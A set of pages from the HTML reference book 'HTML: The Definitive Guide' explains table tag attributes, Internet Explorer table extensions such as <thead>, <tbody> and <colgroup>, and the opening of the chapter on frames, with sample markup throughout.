Figure 11.3 illustrates the effect of the hspace and vspace attribute spacing around a left-justified table with wraparound text.

Figure 11.3: The hspace and vspace attributes give a table some breathing room

[Graphic: Figure 11-3]

The style and class attributes

The style attribute for the <table> tag creates an inline style for the tag, overriding any other style rule in effect. The class attribute lets you apply a predefined set of properties for this particular <table> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

The valign attribute

The valign attribute for the <table> tag currently is supported only by Internet Explorer. It sets the default vertical alignment of data in their cells for the entire table. You achieve similar effects in Netscape by including a valign attribute within the individual <tr>, <td>, and <th> tags.

Acceptable values for the valign attribute in <table> are top or bottom; the default vertical position is the center of the cell.

The width and height attributes

Browsers will automatically make a table only as wide as needed to correctly display all of the cell contents. If necessary, you can make a table wider with the width attribute.

The value of the width attribute is either an integer number of pixels or a relative percentage of the screen width, including values greater than 100 percent. For example,

<table width=400>

tells the extended browser to make the table 400 pixels wide, including any borders and cell spacing that extend into the outer edge of the table. If the table is wider than 400 pixels, the browser ignores the attribute.

Alternatively,

<table width="50%">

tells the browser to make the table half as wide as the display window. Again, this width includes any borders or cell spacing that extend into the outer edge of the table, and has no effect if the table normally is more than half the user's current screen width.

Use relative widths for tables you want to automatically resize to the user's window; for instance, tables you always want to extend across the entire window (<table width="100%">). Use an absolute width value for carefully formatted tables whose contents will become hard to read in wide display windows.

For Netscape, you can use the height attribute to suggest a recommended height for the table. The browser will make the table no shorter than this height, but may make the table taller if needed to contain the table's contents. This attribute is useful when trying to stretch tables to fit in a frame or some specific area of a document, but is of little use otherwise.

The <tr> Tag

Every row in a table is created with a <tr> tag. Within the <tr> tag are one or more cells containing headers, each defined with the <th> tag, and data, each defined with the <td> tag (see below).

<tr>
Function:

Define a row within a table

Attributes:

ALIGN
BGCOLOR (Netscape) (Internet Explorer)
BORDERCOLOR (Internet Explorer)
BORDERCOLORLIGHT (Internet Explorer)
BORDERCOLORDARK (Internet Explorer)
CLASS (Netscape) (Internet Explorer)
NOWRAPSTYLE (Netscape) (Internet Explorer)
VALIGN

End tag:

</tr>; may be omitted

Contains:

tr_content

Used in:

table_content

Every row in a table has the same number of cells as the longest row; the browser automatically creates empty cells to pad rows with fewer defined cells.

The align attribute

The extended browsers automatically align cell contents inside their respective cells. The align attribute for the <tr> tag lets you change the default horizontal alignment of all the cells in a row. The attribute affects all the cells within the current row, but not subsequent rows.

An align attribute value of left, right, or center causes the extended browser to align the contents of each cell in the row against the left or right edge, or in the center of the cell, respectively. In addition, Internet Explorer supports a value of justify so that each line of text fills the cell. You also may change the alignment for individual cells within a row, overriding the value of the align attribute in the <tr> tag with the align attribute for the <th> and <td> tags, as described below. Accordingly, use the align attribute in the <tr> tag to specify the most common cell content justification for the row (if not the default), and use a different align attribute for those individual cells that deviate from that common alignment.

Table 11.1 displays the horizontal (align) and vertical (valign) table cell-content attribute values and options. Values in parentheses are the defaults.

Table 11.1: Horizontal and vertical table cell-content attribute values and options
Attribute | Netscape and Internet Explorer | Mosaic
Headers | Data | Headers | Data
Left | (Left) | (Left) | (Left)
align | (Center) | Center | Center | Center
Right | Right | Right | Right
Top | Top | (Top) | (Top)
valign[1] | (Center) | (Center) | N/A[2] | N/A
Bottom | Bottom | N/A | N/A
Baseline | Baseline | N/A | N/A

Footnotes:

[1] Internet Explorer also supports a universal valign attribute for the <table> tag

[2] N/A = Not available

The bgcolor attribute

Like its relative for the <table> tag, the bgcolor attribute for the <tr> tag sets the background color of the entire row.[2] Its value is either an RGB color value or a standard color name. Both the syntax of color values and the acceptable color names are provided in Appendix F, Color Names and Values.

[2] Unlike <table> with Internet Explorer though, <tr> does not support a background image.

Every cell in the row will be given this background color. Individual cell colors can be changed by providing the bgcolor attribute for those cells.

The bordercolor, bordercolorlight, and bordercolordark attributes

Like their brethren for the <table> tag, Internet Explorer lets you use these attributes to set the color of the borders within the current row.

Their values override any values set by the corresponding attribute in the containing <table> tag. See the corresponding description of these extensions in 11.2.1.3 for details. Color values can be either an RGB color value or a standard color name, both of which are described fully in Appendix F, Color Names and Values.

The nowrap attribute

Browsers treat each table cell as though it's a browser window unto itself, flowing contents inside the cell as they would common body contents (although subject to special table-cell alignment properties). Accordingly, the browsers automatically wrap text lines to fill the allotted table cell space. The nowrap attribute, when included in a table row, stops that normal word wrapping in all cells in that row. With nowrap, the browser assembles the contents of the cell onto a single line, unless you insert a <br> or <p> tag, which then forces a break so that the contents continue on a new line inside the table cell.

The style and class attributes

The style attribute for the <tr> tag creates an inline style for the table row, overriding any other style rule in effect. The class attribute lets you apply a predefined set of properties for this particular <tr> tag; its value is the name of that class. Note that to set <tr> style properties at the document level or in an external style sheet, you must use the contextual selector TABLE TR.

Not all style properties may apply. For instance, you cannot place a background image behind an individual table row as you can behind the entire table. However, you can set the text contents colors and font styles, for example. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

<td>

The valign attribute

You may change the default vertical alignment for the contents of data cells contained within a table row. Normally, the browsers render cell contents centered vertically. By including the valign attribute in the <tr> tag with a value of top or bottom, you tell the extended browsers to place the table row's contents flush against the top or bottom of their cells or aligned to the baseline of the top line of text in other cells in the row (Figure 11.4). The value center, although acceptable, has no real effect since it simply reiterates the default vertical alignment.

<th> and <td>

Figure 11.4: Effects of thevalign attribute on table cell content alignment

[Graphic: Figure 11-4]

<table border>
  <tr>
    <th>Alignment</th>
    <th>Top</th>
    <th>Baseline</th>
    <th>Center</th>
    <th>Bottom</th>
  </tr>
  <tr align=center>
    <th><h1>Baseline....<br>Line 2</h1></th>
    <td valign=top>AAyy</td>
    <td valign=baseline>_AAyy_</td>
    <td valign=center>AAyy</td>
    <td valign=bottom>AAyy</td>
  </tr>
</table>

The <th> and <td> Tags

The <th> and <td> tags go inside the <tr> tags of an HTML table to create the cells and contents within the row. The tags operate similarly; the only real differences are that the browsers render header text--meant to entitle or otherwise describe table data--in boldface font style and that the default alignment of their respective contents may be different (Table 11.1).

<th> and <td>
Function:

Define table data and header cells

Attributes:

ALIGN
BACKGROUND (Internet Explorer)
BGCOLOR (Netscape) (Internet Explorer)
BORDERCOLOR (Internet Explorer)
BORDERCOLORLIGHT (Internet Explorer)
BORDERCOLORDARK (Internet Explorer)
CLASS
COLSPAN
HEIGHT
NOWRAP
ROWSPAN
STYLE
VALIGN
WIDTH

End tag:

</th> or </td>; may be omitted

Contains:

body_content

Used in:

tr_content

Like those available for the table row (<tr>) tag, the table cell tags support a rich set of style and content-alignment attributes you may apply to a single data or header cell. These attributes override the default values for the current row. There are also special attributes that control the number of columns or rows a cell may span in the table.

The contents of the <th> and <td> tags can be anything you might put in the body of an HTML document, including text, images, forms, and so on--even another table. And, as described earlier, the browser automatically creates a table large enough, both vertically and horizontally, to display all the contents of any and all the cells.

If a particular row has fewer header or data items than other rows, the browser adds empty cells at the end to fill the row. If you need to make an empty cell before the end of a row, for instance, to indicate a missing data point, create a header or data cell with no content.

Empty cells look different than those containing data or headers if the table has borders: the empty cell will not be seemingly embossed onto the window, but instead is simply left blank. If you want to create an empty cell that has incised borders like all the other cells in your table, be sure to place a minimal amount of content in the cell: a single <br> tag, for instance.

The align and valign attributes

The align and valign attributes are identical to those of the same name for the table row tag (<tr>; see previous), except that when used with a <th> or <td> tag, they control the horizontal or vertical alignment of content in just the current cell. Their value overrides any alignment established by the respective align or valign attribute of the <tr> tag, but does not affect the alignment of subsequent cells. See Table 11.1 for alignment details.

You may set the align attribute's value to left, right, or center, causing the browsers to align the cell contents against the left or right edge, or in the center of the cell, respectively. In addition, Internet Explorer supports a value of justify to fill each line of text so that it is flush to both sides of the cell. The valign attribute may have a value of top, bottom, center, or baseline, telling the browser to align the cell's contents to the top or bottom edge, or in the center of the cell, or (Netscape only) to the baseline of the first line of text in other cells in the row.

The width attribute

Like its twin in the <table> tag that lets you widen a table, the width attribute for table cell tags lets you widen an individual cell and, hence, the entire column it occupies. You set the width to an integer number of pixels, or a percentage indicating the cell's width as a fraction of the table as a whole.

For example,

<th width=400>

sets the current header cell's width, and hence the entire column of cells, to 400 pixels wide. Alternatively,

<td width="40%">

creates a data cell whose column will occupy 40 percent of the entire table's width.

Since the extended browsers make all cells in a column the same width, you should place a width attribute in only one cell within a column, preferably the first instance of the cell in the first row, for source readability. If two or more cells in the same column happen to have width attributes, the widest one is honored. You can't make a column thinner than the width the browser automatically determines is the minimum needed to display all of any cell contents in the column. So, if the browser determines that the column of cells needs to be at least 150 pixels wide to accommodate all the cells' contents, it will completely ignore a width attribute in one of the column's cell tags that attempts to make the cell only 100 pixels wide.

The height attribute

This attribute specifies a minimum height, in pixels, for the current cell. Since all cells in a row have the same height, this attribute need only be specified on one cell in the row, preferably the first. If some other cell in the row needs to be taller to accommodate its contents, this attribute is ignored and all the cells in the row will be set to the larger size.

By default, all the cells in a row are the height of the largest cell in the row that just accommodates its contents.

The colspan attribute

It's common to have a table header that describes several columns beneath it, like the headers we use in Table 11.1. Use the colspan attribute in a table header or data tag to extend an HTML table cell across two or more columns in its row. Set the value of the colspan attribute to an integer value equal to the number of columns you want the header or data cell to span. For example,

<td colspan=3>

tells the browser to make the cell occupy the same horizontal space as three cells in rows above or below it. The browser flows the contents of the cell to occupy the entire space.

What happens if there aren't enough extra cells on the right? The browser just extends the cell over as many columns as exist to the right; it doesn't add extra empty cells to each row to accommodate an over-extended colspan value. You may defeat that limitation by adding the needed extra, but content-less, cells to a single row. (Give them a single <br> tag as their contents if you want Netscape's embossed border around them.)

The rowspan attribute

Just as the colspan attribute layers a table cell across several columns, the rowspan attribute stretches a cell down two or more rows in the table.

You include the rowspan attribute in the <th> or <td> tag of the uppermost row of the table where you want the cell to begin and set its value equal to the number of rows you want it to span. The cell then occupies the same space as the current row and an appropriate number of cells below that row. The browser flows the contents of the cell to occupy the entire extended space. For example,

<td rowspan=3>

creates a cell that occupies the current row plus two more rows below that.

Like the colspan attribute, the browser ignores over-extended rowspan attributes and will only extend the current cell down rows you've explicitly defined by other <tr> tags following the current row. The browsers will not add empty rows to a table to fill a rowspan below the last defined row in a table.

Combining colspan and rowspan

You may extend a single cell both across several columns and down several rows by including both the colspan and rowspan attributes in its table header or data tag. For example,

<th colspan=3 rowspan=4>

creates a header cell that, as you might expect, spans across three columns and down four rows, including the current cell and extending two more cells to the right and three more cells down. The browser flows the contents of the cell to occupy the entire space, aligned inside according to the current row's alignment specifications or to those you may explicitly include in the same tag, as described earlier.

The nowrap attribute

Browsers treat each table cell as though it's a browser window unto itself, flowing contents inside the cell as they would common body contents (although subject to special table-cell alignment properties). Accordingly, the browsers automatically wrap text lines to fill the allotted table cell space. The nowrap attribute, when included in a table header or data tag, stops that normal word wrapping. With nowrap, the browser assembles the contents of the cell onto a single line, unless you insert a <br> or <p> tag, which then forces a break so that the contents continue on a new line inside the table cell.

The bgcolor and background attributes

Yet again, you can change the background color--this time for an individual data cell. This attribute's value is either an RGB hexadecimal color value or a standard color name. Both the syntax of color values and the acceptable color names are provided in Appendix F, Color Names and Values.

The background attribute, supported only by Internet Explorer, supplies the URL of an image that is tiled to fill the background of the cell. The image will be clipped if the cell is smaller than the image.

Neither background nor bgcolor will override a related style sheet property.

The bordercolor, bordercolorlight, and bordercolordark attributes

Internet Explorer lets you alter the colors that make up an individual cell's border--if table borders are turned on with the border attribute, of course. See the respective attributes' descriptions under the <table> tag in 11.2.1.3 for details.

The values for these three attributes override any values set for the containing <table> or <tr> tag. Their values can be either an RGB color value or a standard color name, both of which are described fully in Appendix F, Color Names and Values.

The style and class attributes

The style attribute for the <td> and <th> tags creates an inline style for the table cell, overriding any other style rule or related attribute in effect. The class attribute lets you apply a predefined set of properties for the particular tag; its value is the name of that class. For instance, you can set the text contents, colors and font styles. Unlike with the <tr> tag, but like <table>, you can place an image behind an individual data cell's contents.

To set <td> or <th> style properties at the document level or in an external style sheet, you must use their contextual selector: TABLE TD or TABLE TH. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

The <caption> Tag

A table commonly needs a caption to explain its contents, so the extended browsers provide a table-caption tag. Authors typically place the <caption> tag and its contents immediately after the <table> tag, but it can be placed nearly anywhere inside the table and between the row tags. The caption may contain any body content, much like a cell within a table.

<caption>
Function:

Define a table caption

Attributes:

ALIGN
CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)
VALIGN (Internet Explorer)

End tag:

</caption>; never omitted

Contains:

body_content

Used in:

table_content

Unfortunately for document authors, Netscape Navigator implements one method of caption alignment and positioning, while Internet Explorer provides a conflicting set of attributes for the same purpose. By default, the browsers center the caption with respect to the table, including word wrapping when necessary.

The align and valign attributes

By default, browsers place the caption's contents centered above the table. You may place it below the table with the align attribute set to the value bottom (the value top, of course, is equivalent to the default).

Internet Explorer uses the align attribute to control the horizontal position of the caption and provides the valign attribute to change the caption's vertical position. With Internet Explorer, set the align attribute to left, center (the default), or right to position the caption to the respective location relative to the table. Use the valign attribute to place a caption at the top or bottom of the table. The other browsers ignore Internet Explorer's different caption-align values and attributes.

Internet Explorer table extensions

The style and class attributes

Like the <td> and <th> table tags, the style attribute for the <caption> tag creates an inline style for the table caption, overriding any other style rule in effect. The class attribute lets you apply a predefined set of properties for the particular tag; its value is the name of that class. Be sure to use the contextual selector TABLE CAPTION when referring to caption styles at the document level or in external style sheets. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
The HTML Table Model | Book Index | Internet Explorer Table Extensions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.3 Internet Explorer Table Extensions

HTML: The Definitive Guide

Previous Chapter 11
Tables 		Next

11.3 Internet Explorer Table Extensions

While it is possible to build a simple table quickly, complex HTML tables with varying border styles, running headers and footers, and column-based layout are not easily constructed from the HTML 3.2 table model. Microsoft has rectified this inadequacy somewhat by adding a number of table layout controls to their Internet Explorer browser (Version 3.0 and later). These controls provide row-based grouping and running headers and footers, along with column-based layout controls.

There is good news and bad news about these table extensions, of course. They provide a nice way to make your tables more attractive and presentable, but they only work within Internet Explorer, which, at the time this book is written, is not the most popular browser. If you choose to use these extensions, make sure your tables stand up with the other browsers, too, without the additional layout and grouping features available with Internet Explorer. Otherwise, you will lose a significant chunk of your audience.

Defining Table Sections

Within HTML 3.2 tables, all rows are created equal. In real tables, some rows are more equal than others. And most tables have header and footer rows that repeat from page to page. In large tables, adjacent rows are grouped and delineated with different rules to make the table easier to read and understand. Internet Explorer supports all of these features with the <thead>, <tfoot>, and <tbody> tags.

The <thead> tag

Use the <thead> tag to define a set of table header rows.

<thead> (Internet Explorer)
Function:

Define a table header

Attributes:

ALIGN
CLASS
STYLE
VALIGN

End tag:

</thead>; may be omitted

Contains:

table_content

Used in:

table_content

The <thead> tag may appear once within a <table> tag, at the beginning. Within the <thead> tag, you may place one or more <tr> tags, defining the rows within the table header. If given the opportunity, Internet Explorer will replicate these heading rows when the table is printed or displayed in multiple sections. Thereafter, Internet Explorer will repeat these headings on each printed page if the table appears on more than one page.

The ending </thead> tag is optional and may be omitted. Since the <thead> tag only appears in tables where, presumably, other rows will be designated as the table body or footer, the <thead> tag is automatically closed when the browser encounters a <tbody> or <tfoot> tag or when the table ends.

The attributes of the <thead> tag--align, class, style, and valign--operate identically, take the same values, and affect all the enclosed <tr> contents as if you had specified them individually for each <tr> entry. The align attribute accepts values of left, right, center, or justify, controlling the horizontal alignment of text in the heading rows. Similarly, the valign attribute accepts values of top, middle, or bottom and behaves just like the valign attribute in the <tr> tag, dictating the vertical alignment of text in the heading rows. The by-now-familiar attributes for setting the content style properties are style and class.

If you don't specify any alignments or style attribute, Internet Explorer centers the heading text vertically and horizontally within their respective cells, equivalent to specifying align=center and valign=middle for each. Of course, individual row and cell or style sheet specifications may override these attributes.

The <tfoot> tag

Use the <tfoot> tag to define a footer for Internet Explorer tables.

<tfoot> (Internet Explorer)
Function:

Define a table footer

Attributes:

None

End tag:

</tfoot>; may be omitted

Contains:

table_content

Used in:

table_content

The <tfoot> tag may appear only once just before the end of a table. Like <thead>, it may contain one or more <tr> tags that let you define those rows that Internet Explorer uses as the table footer. Thereafter, the browser repeats these rows if the table is broken across multiple physical or virtual pages. Most often, Internet Explorer repeats the table footer at the bottom of each portion of a table printed on multiple pages.

The closing </tfoot> tag is optional, since the footer ends when the table ends. There are no attributes for the <tfoot> tag. If you have special alignment attributes for your table footer, you'll need to specify them for each row within the <tfoot> tag.

The <tbody> tag

Use the <tbody> tag to divide your Internet Explorer table into discrete sections.

<tbody> (Internet Explorer)
Function:

Define a section within a table

Attributes:

None

End tag:

</tbody>; may be omitted

Contains:

table_content

Used in:

table_content

The <tbody> tag collects one or more rows into a group within a table. It is perfectly acceptable to have no <tbody> tags within a table, although where you might include one, you probably will have two or more <tbody> tags within a table. So identified, you can give each <tbody> group different rule line sizes above and below the section. Within a <tbody> tag, only table rows may be defined using the <tr> tag.

The closing </tbody> tag is optional, since the section ends at the next <tbody> or <tfoot> tag, or when the table ends. There are no attributes for the <tbody> tag. If you have special alignment attributes for this section, you'll need to specify them for each row within the <tbody> tag.

Using table sections

From a presentation standpoint, the most important thing you can do with the <thead>, <tfoot>, and <tbody> tags is divide your table into logical sections that are delimited by different borders. By default, Internet Explorer does not do anything special with the borders around the headers, footers, and sections within your table. By adding the rules attribute to the <table> tag, however, you can draw thicker rule lines between your <thead>, one or more <tbody>, and <tfoot> table sections, helping readers better understand your table's organization. [the section called "The border, frame, and rules attributes"]

For example, here is the simple table you saw earlier in this chapter augmented with a header and footer. Notice that we've omitted many of the unnecessary closing tags for brevity and readability:

<table border cellspacing=0 cellpadding=5 rules=groups>
  <caption align=bottom>Kumquat versus a poked eye, by gender</caption>
  <thead>
    <tr>
      <td colspan=2 rowspan=2>
      <th colspan=2 align=center>Preference
    </tr>
    <tr>
      <th>Eating Kumquats
      <th>Poke In The Eye
    </tr>
  </thead>
  <tbody>
    <tr align=center>
      <th rowspan=2>Gender
      <th>Male
      <td>73%
      <td>27%
    </tr>
    <tr align=center>
      <th>Female
      <td>16%
      <td>84%
    </tr>
  </tbody>
  <tfoot>
    <tr>
      <td colspan=4 align=center>
        Note: eye pokes did not result in permanent injury
</table>

The resulting HTML table as rendered by Internet Explorer is shown in Figure 11.5. Notice how the rules after the table header and before the footer are thinner than the borders around the other table rows? This happened because we included the special rules=groups attribute to the <table> tag. Similar effects may be obtained by specifying rules=rows or rules=all (see below).

Figure 11.5: Use Internet Explorer's extensions to specially section your tables

[Graphic: Figure 11-5]

Long tables often benefit from thicker rules every few rows, making it easier to read the table. Do this by grouping the rules in your table with several <tbody> tags. Each set of rows contained in a single <tbody> tag will have thicker rules before and after it.

Here is an expanded version of our table example, with additional sections set off as separate groups.

<table border cellspacing=0 cellpadding=5 rules=groups>
  <caption align=bottom>Kumquat versus a poked eye, by gender</caption>
  <thead>
    <tr>
      <td colspan=2 rowspan=2>
      <th colspan=2 align=center>Preference
    <tr>
      <th>Eating Kumquats
      <th>Poke In The Eye
  <tbody>
    <tr align=center>
      <th rowspan=4>Gender
      <th>Males under 18
      <td>94%
      <td>6%
    <tr align=center>
      <th>Males over 18
      <td>73%
      <td>27%
  <tbody>
    <tr align=center>
      <th>Females under 18
      <td>34%
      <td>66%
    <tr align=center>
      <th>Females over 18
      <td>16%
      <td>84%
  <tfoot>
    <tr>
      <td colspan=4 align=center>
        Note: eye pokes did not result in permanent injury
</table>

Figure 11.6: Multiple <tbody> segments further divide a table

[Graphic: Figure 11-6]

The result is shown in Figure 11.6.

In this case, we wind up with four rows in the table, separated into two groups by a thicker rule between them. Any number of groups could be created within the table by adding more <tbody> tags.

Defining Column Groups

The HTML table model is row-centric, defining tables as a collection of cells organized into rows. Sometimes, though, it is easier to deal with your table as a collection of columns. Using the <colgroup> and <col> tags, Internet Explorer helps you turn the tables and think in columns.

Unlike the sectioning tags we describe above, which are interspersed with the rows of a table to define headers, footers, and sections within the table, the column-related tags cannot be intermingled with the content of a table. Instead, you must place them at the very beginning of a table, before the content. They define the model by which Internet Explorer renders the columns.

The <colgroup> tag

The <colgroup> tag defines a column group.

You can use the <colgroup> tag in two ways: as a single definition of several identical columns or as a container for several dissimilar columns. The <colgroup> tag may only appear within a <table> tag, but you may define one or more column groups within a table. The ending </colgroup> tag is rarely used; instead, the <colgroup> ends at the next <colgroup>, <thead>, <tbody>, <tfoot>, or <tr> tag.

Use the span attribute with the <colgroup> tag to achieve the first type of column grouping. The value of the span attribute is the integer number of columns affected by the <colgroup> tag. For example, a table with six columns--four in the first group and two in the other--would appear in the source code as:

<colgroup span=4>
<colgroup span=2>

When Internet Explorer collects the table cells into columns by the example definition, it groups the first four cells in each row as the first column group and the next two cells into a second column group. Any other attributes of the individual <colgroup> tags then are applied to the columns contained within that group.

To use the <colgroup> tag as a container for dissimilar columns, leave out the span attribute, but include within each <colgroup> tag an individual <col> tag for each column within the group. For instance:

<colgroup>
  <col>
  <col>
  <col>
  <col>
<colgroup>
  <col>
  <col>

This method creates the same number of columns in each group as we had with the span attribute, but lets you specify column attributes individually. You can still supply attributes for all the columns via the <colgroup> tag, but they will be overridden by the attributes in the <col> tags, as appropriate.

<colgroup> (Internet Explorer)
Function:

Define a column group within a table

Attributes:

ALIGN
CLASS
SPAN
STYLE
VALIGN
WIDTH

End tag:

</colgroup>; usually omitted

Contains:

column_content

Used in:

table_content

The align, valign, width, class, and style attributes control the familiar aspects of each columns in the <colgroup>-encapsulated column group. These attributes accept the same values and behave exactly like the equivalent attributes for the <td> tag. [the section called "The <th> and <td> Tags"]

For instance, suppose we want our first example group of four columns to each occupy 20 percent of the table, with the remaining two columns taking up 10 percent each of the total table width. That's easy with the span attribute:

<colgroup span=4 width="20%">
<colgroup span=2 width="10%">

The structure also can be done with individually specified columns:

<colgroup width="20%">
  <col>
  <col>
  <col>
  <col>
<colgroup width="10%">
  <col>
  <col>

There is no reason not to use both methods in the same table. For instance, we could specify our example column groupings, complete with width attributes:

<colgroup span=4 width="20%" align=right>
<colgroup width="10%">
  <col align=left>
  <col align=right>

Notice that this lets us align the contents of the two columns of the second group individually (the default alignment is centered).

The <col> tag

Use the <col> tag to control the appearance of one or more columns within a column group.

<col> (Internet Explorer)
Function:

Define a column within a column group

Attributes:

ALIGN
SPAN

End tag:

None

Contains:

Nothing

Used in:

column_content

The <col> tag may appear only within a <colgroup> tag within a table. It has no content, and thus has no ending tag. Rather, it represents one or more columns within a <colgroup> to which Internet Explorer (not Netscape) applies the <col> tag's attributes.

The align attribute affects the placement of content within the columns. This attribute accepts the same values and behaves exactly like the equivalent attribute for the <td> tag. [the section called "The <th> and <td> Tags"]

The span attribute for the <col> tag, like the <colgroup> tag, lets you specify how many successive columns are affected by this <col> tag. By default, only one is affected. For example, let's create a <colgroup> that has five columns. We align the first and last columns to the left and right, respectively, while the middle three are centered:

<colgroup>
  <col align=left>
  <col align=center span=3>
  <col align=right>

The <col> tag should only be used within <colgroup> tags that do not themselves use the span attribute. Otherwise, Internet Explorer ignores the individual <col> tags and their attributes.

Using column groups

Column groups are easier to use than they first appear. Think of them as a template of how to format your table columns. Their main purpose is to create groups that can be separated by thicker rules within your table, and to streamline the process of applying formatting attributes to all the cells in one or more columns.

Returning to our original table example, we can place a thicker rule between the column labels and the data cells by placing the column labels in one column group and the data cells in another:

<table border cellspacing=0 cellpadding=5 rules=groups>
  <caption align=bottom>Kumquat versus a poked eye, by gender</caption>
  <colgroup span=2>
  <colgroup span=2>
  <thead>
    <tr>
      <td colspan=2 rowspan=2>
      <th colspan=2 align=center>Preference
    <tr>
      <th>Eating Kumquats
      <th>Poke In The Eye
  <tbody>
    <tr align=center>
      <th rowspan=4>Gender
      <th>Males under 18
      <td>94%
      <td>6%
    <tr align=center>
      <th>Males over 18
      <td>73%
      <td>27%
  <tbody>
    <tr align=center>
      <th>Females under 18
      <td>34%</td>
      <td>66%</td>
    <tr align=center>
      <th>Females over 18
      <td>16%
      <td>84%
  <tfoot>
    <tr>
      <td colspan=4 align=center>
        Note: eye pokes did not result in permanent injury
</table>

The results are shown in Figure 11.7. All we added were the two <colgroup> tags; the additional borders were drawn by the rules=groups attribute in the <table> tag. For borders between column groups to be drawn, the rules attribute must be set to either groups, cols, or all.

Figure 11.7: Example integrates the various Internet Explorer table extensions

[Graphic: Figure 11-7]

Previous | Home | Next
Table Tags | Book Index | Beyond Ordinary Tables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.4 Beyond Ordinary Tables

HTML: The Definitive Guide

Previous Chapter 11
Tables 		Next

11.4 Beyond Ordinary Tables

On the face of it, HTML tables are ordinary: just a way for academics and other like-minded data crunchers to format items into columns and rows for easy comparison. Scratch below the surface, though, and you will see that tables are really extraordinary. Besides <pre>, the <table> tag and related attributes provide the only way for you to easily control the layout of your document in HTML. The content inside a <pre> tag, of course, is very limited. Tables, on the other hand, may contain nearly anything allowed in normal body content, including multimedia and forms. And the table structure lets you explicitly control where those elements appear in the users' browser window. With the right combinations of attributes, tables provide a way for you to create multicolumn text, and side and straddle heads in HTML. They also enable you to make your forms easier to read, understand, and fill out. That's just for starters.

We don't know that we can recommend you get too caught up with page layout--tables or beyond. Remember, HTML is not about looks but about content. But ...

It's easy to argue that at least tables of information benefit from some controlled layout, and that HTML forms follow a close second. Tables provide the only way to create predictable, browser-independent layouts for your web pages. Used in moderation and filled with quality content, tables are a tool that every HTML author should be able to wield.

And now that we've whetted your appetite for page layout with tables, don't despair that we've let you down by ending this chapter without examples--we have several in Chapter 15, Tips, Tricks, and Hacks.

Previous | Home | Next
Internet Explorer Table Extensions | Book Index | Frames
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] Frames

HTML: The Definitive Guide

Previous Chapter 12 Next

12. Frames

Contents:
An Overview of Frames
Frame Tags
Frame Layout
Frame Contents
The <noframes> Tag
Inline Frames
Named Frame or Window Targets

Beginning with Netscape Navigator 2.0, HTML authors have been able to divide the browser's main display window into independent window frames, each simultaneously displaying a different document--something like a wall of monitors in a TV control room. Instantly popular, frames were soon adopted (and extended) by Microsoft for Internet Explorer, although they have not been incorporated into the HTML 3.2 standard.

Since everything discussed in this chapter is an extension to HTML 3.2, we'll dispense with our normal "extension" notation and denote only those attributes and tags that are unique to Netscape or Internet Explorer. Otherwise, be aware that all tags and attributes discussed herein, although supported by both browsers, nonetheless are extensions and not standard components of HTML.

12.1 An Overview of Frames

Figure 12.1 is a simple example of a frame display. It shows how the document window may be divided into columns and rows of individual frames separated by rules and scroll bars. Although it is not immediately apparent in the example, each frame in the window is displaying an independent document. We use different HTML documents in the example, but the individual documents may contain any valid content the browser is capable of displaying, including multimedia. If the frame's contents include a hyperlink the user selects, the new document's contents, even another frame document, may replace that same frame, another frame's content, or the entire browser window.

Figure 12.1: A simple six-panel frame layout for Netscape

[Graphic: Figure 12-1]

You enable frames with a special frame document. Its contents do not get displayed. Rather, the frame document contains extension HTML tags that tell the browser how to divide its main display window into discrete frames, and what documents go inside the frames.

The individual documents referenced and displayed in the frame document window act independently, to a degree; the frame document controls the entire window. You can, however, direct one frame's document to load new content into another frame. That's done by attaching a name to a frame and targeting the named frame with a special attribute for the hyperlink <a> tag.

Previous | Home | Next
Beyond Ordinary Tables | Book Index | Frame Tags
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.2 Frame Tags

HTML: The Definitive Guide

Previous Chapter 12
Frames 		Next

12.2 Frame Tags

There are three new HTML tags used by both Netscape and Internet Explorer to create a frame document: <frameset>, <frame>, and <noframes>. In addition, Internet Explorer provides the <iframe> tag, which you may use to create inline, or floating, frames.

A frameset is simply the collection of frames that make up the browser's window. Column- and row-definition attributes for the <frameset> tag let you define the number and initial sizes for the columns and rows of frames. The <frame> tag defines which document--HTML or otherwise--initially goes into the frames within those framesets, and is where you may give the frame a name to use for document hypertext links.

Here is the HTML source that was used to generate Figure 12.1:

<html>
<head>
<title>Frames Layout</title>
</head>
<frameset rows="60%,*" cols="65%,20%,*">
  <frame src="frame1.html">
  <frame src="frame2.html">
  <frame src="frame3.html" name="fill_me">
  <frame scrolling=yes src="frame4.html">
  <frame src="frame5.html">
  <frame src="frame6.html">
  <noframes>
    Sorry, this document can be viewed only with a
    frames-capable browser.
    <a href = "frame1.html">Take this link</a>
    to the first HTML document in the set.
  </noframes>
</frameset>
</html>

Notice a few things in the simple frame example and its rendered image (Figure 12.1). First, the order in which the browser fills the frames in a frameset goes across each row. Second, frame 4 sports a scrollbar because we told it to, even though the contents may otherwise fit without scrolling. (Scrollbars automatically appear if the contents overflow the frame's dimensions, unless explicitly disabled with the scrolling attribute in the <frame> tag.) [the section called "The <frame> Tag"]

Another item of interest is the name attribute in one of the frame tags. Once named, you can reference a particular frame as the location in which to display a hypertext-linked document. To do that, you add a special target attribute to the anchor (<a>) tag of the source hypertext link. For instance, to link a document called new.html for display in frame 3, which we've named "fill_me", the anchor looks like this:

<a href="new.html" target="fill_me">

If the user chooses the link, say in frame 1, the new.html document will replace the original frame3.html contents in frame 3. [the section called "Named Frame or Window Targets"]

Finally, although Netscape and Internet Explorer both support frames, it is possible that some other browser users will try and view your frame documents. That's why each of your key frame documents should provide a back door to your HTML document collection with the <noframes> tag. Frame-compatible browsers display your frames; non-compatible browsers display the alternative <noframes> content.

What's in a Frame?

Anyone who has opened more than one window on their desktop display to compare contents or operate interrelated applications knows instinctively the power of frames.

One simple use for frames is to put content that is common in a collection, such as copyright notices, introductory material, and navigational aids, into one frame, with all other document content in an adjacent frame. As the user visits new pages, each loads into the scrolling frame, while the fixed-frame content persists.

